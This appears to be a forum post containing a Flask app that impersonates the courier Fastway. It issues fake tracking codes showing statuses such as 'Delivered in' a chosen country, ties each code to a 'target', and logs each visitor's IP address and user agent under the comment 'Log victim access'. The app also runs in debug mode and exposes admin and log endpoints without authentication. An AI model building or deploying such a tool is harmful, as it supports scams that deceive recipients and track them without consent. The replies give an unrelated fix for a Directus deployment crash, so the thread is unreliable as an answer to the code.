6 months ago
from flask import Flask, request, render_template_string, jsonify
import secrets
import json
from datetime import datetime
import os
app = Flask(__name__)
# Storage files (persistent across restarts)
DATA_FILE = 'tracking_data.json'
LOGS_FILE = 'access_logs.json'
def load_data():
try:
with open(DATA_FILE, 'r') as f:
return json.load(f)
except:
return {}
def save_data(data):
with open(DATA_FILE, 'w') as f:
json.dump(data, f)
def load_logs():
try:
with open(LOGS_FILE, 'r') as f:
return json.load(f)
except:
return []
def append_log(log_entry):
logs = load_logs()
logs.append(log_entry)
with open(LOGS_FILE, 'w') as f:
json.dump(logs, f, indent=2)
# Load existing data
tracking_data = load_data()
access_logs = load_logs()
# FASTWAY BRANDING TEMPLATES
ADMIN_TEMPLATE = '''
๐ Generate Code
{% for code, data in tracks.items() %}
{{ code }} โ {{ data.country }}
Status: {{ data.status }}
Target: {{ data.target or 'Not set' }} | Last seen: {{ data.last_seen or 'Never' }}
Update Status
Add Target
{% endfor %}
{% for log in recent_logs %}
{% endfor %}
'''
PUBLIC_TEMPLATE = '''
{% if data %}
{% else %}
{% endif %}
'''
@app.route('/', methods=['GET', 'POST'])
def admin():
global tracking_data, access_logs
if request.method == 'POST':
if 'country' in request.form:
# Generate new code
country = request.form['country'].strip().title()
code = 'FW' + secrets.token_hex(6).upper()[:8] # FWXXXXXXXX format
tracking_data[code] = {
'country': country,
'status': f' Delivered in {country}',
'updated': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
'target': '',
'last_seen': ''
}
save_data(tracking_data)
elif 'code' in request.form:
code = request.form['code']
if code in tracking_data:
if 'status' in request.form:
tracking_data[code]['status'] = request.form['status'].strip()
if 'target' in request.form:
tracking_data[code]['target'] = request.form['target'].strip()
tracking_data[code]['updated'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
save_data(tracking_data)
recent_logs = access_logs[-20:] if access_logs else []
return render_template_string(ADMIN_TEMPLATE, tracks=tracking_data, recent_logs=recent_logs)
@app.route('/track/')
def track(code):
global access_logs
# Log victim access
log_entry = {
'timestamp': datetime.now().isoformat(),
'code': code,
'ip': request.remote_addr,
'user_agent': request.headers.get('User-Agent', ''),
'country': request.headers.get('X-Forwarded-For', '').split(',')[0] if request.headers.get('X-Forwarded-For') else request.remote_addr
}
append_log(log_entry)
# Update last seen
if code in tracking_data:
tracking_data[code]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
save_data(tracking_data)
data = tracking_data.get(code)
return render_template_string(PUBLIC_TEMPLATE, code=code, data=data)
@app.route('/logs')
def logs():
return jsonify(access_logs[-100:])
@app.route('/api/track/')
def api_track(code):
return jsonify(tracking_data.get(code, {'error': 'Not found'}))
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)
2 Replies
3 months ago
Set the EXTENSIONS_AUTO_MIGRATE environment variable to "false" to fix this deployment. Directus 11.17.4 crashes immediately on startup because the Marketplace extensions sync fails with "Region is missing", causing the app to exit with code 1 before it can serve any requests. The healthcheck at /server/health then times out after all 10 retry attempts over 5 minutes.
3 months ago
Initialization
(00:00)
Deploy
(00:10)
Network โบ Healthcheck
(04:59)
Healthcheck failure
Diagnosis โบ Healthcheck Error
Run automatically
Set the EXTENSIONS_AUTO_MIGRATE environment variable to "false" to fix this deployment. Directus 11.17.4 crashes immediately on startup because the Marketplace extensions sync fails with "Region is missing", causing the app to exit with code 1 before it can serve any requests. The healthcheck at /server/health then times out after all 10 retry attempts over 5 minutes.
Disable extension syncContinue in Chat